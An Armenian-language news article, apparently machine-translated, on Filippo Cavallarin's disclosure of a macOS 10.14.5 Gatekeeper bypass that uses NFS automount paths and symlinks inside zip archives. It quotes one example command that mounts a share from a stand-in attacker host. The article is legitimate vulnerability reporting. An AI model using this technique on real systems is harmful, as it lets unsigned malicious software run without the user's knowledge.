Ամայա Թուման Անվտանգության հետազոտող Ֆիլիպո Կավալարինն իր բլոգում տեղադրել է նախազգուշացում macOS 10.14.5-ի սխալի մասին: Սա կայանում է նրանում, որ հնարավոր է ամբողջությամբ շրջանցել Gatekeeper-ի անվտանգության միջոցները։ Ըստ Cavallarin-ի, նա Apple-ին մատնանշել է սխալն արդեն այս տարվա փետրվարին, սակայն ընկերությունը վերջին թարմացումով չի ուղղել այն։
Gatekeeper-ը մշակվել է Apple-ի կողմից և առաջին անգամ ներառվել նրա աշխատասեղանի օպերացիոն համակարգում 2012 թվականին: Դա մեխանիզմ է, որը թույլ չի տալիս հավելվածի գործարկումն առանց օգտատիրոջ իմացության և համաձայնության: Հավելվածը ներբեռնելուց հետո Gatekeeper-ն ավտոմատ կերպով ստուգում է դրա կոդը՝ տեսնելու, թե արդյոք ծրագրաշարը պատշաճ կերպով ստորագրված է Apple-ի կողմից:
Դա կարող է լինել ձեզ հետաքրքրում է
Իր բլոգային գրառման մեջ Cavallarin-ը նշում է, որ Gatekeeper-ը լռելյայնորեն համարում է և՛ արտաքին պահեստը, և՛ ցանցային բաժնետոմսերը որպես ապահով տեղակայանքներ: Հետևաբար, ցանկացած հավելված, որը գտնվում է այս թիրախներում, կարող է ավտոմատ կերպով գործարկվել՝ առանց Gatekeeper-ի ստուգումն անցնելու: Հենց այս հատկանիշը կարող է օգտագործվել վնասակար ծրագրեր գործարկելու համար՝ առանց օգտագործողի իմացության:
Մի ասպեկտ, որը թույլ է տալիս չարտոնված մուտք գործել, ավտոմատ ամրացման գործառույթն է, որը թույլ է տալիս օգտատերերին ավտոմատ կերպով տեղադրել ցանցի համօգտագործումը՝ պարզապես նշելով «/net/»-ով սկսվող ուղին: Որպես օրինակ, Cavallarin-ը բերում է «ls /net/evil-attacker.com/sharedfolder/» ուղին, որը կարող է ստիպել օպերացիոն համակարգը բեռնել «sharefolder» թղթապանակի բովանդակությունը հեռավոր վայրում, որը կարող է պոտենցիալ վնասակար լինել:
Սպառնալիքի գործելակերպը կարող եք դիտել տեսանյութում.
Մեկ այլ գործոն է այն փաստը, որ եթե մի zip արխիվ, որը պարունակում է հատուկ սիմհղում, որը տանում է դեպի automount ֆունկցիա, այն չի ստուգվի Gatekeeper-ի կողմից: Այս կերպ տուժողը կարող է հեշտությամբ ներբեռնել վնասակար արխիվը և բացել այն՝ թույլ տալով հարձակվողին գործարկել Mac-ում գրեթե ցանկացած ծրագրակազմ՝ առանց օգտատիրոջ իմացության: Finder-ը, որը լռելյայն թաքցնում է որոշակի ընդլայնումներ, նույնպես ունի այս խոցելիության իր բաժինը:
Կավալարինն իր բլոգում նշում է, որ Apple-ն այս տարվա փետրվարի 22-ին ուշադրություն է հրավիրել macOS օպերացիոն համակարգի խոցելիության վրա։ Սակայն մայիսի կեսերին Apple-ը դադարեցրեց կապը Cavallarin-ի հետ, ուստի Cavallarin-ը որոշեց ամբողջը հրապարակել:
Աղբյուրը ` FCVL
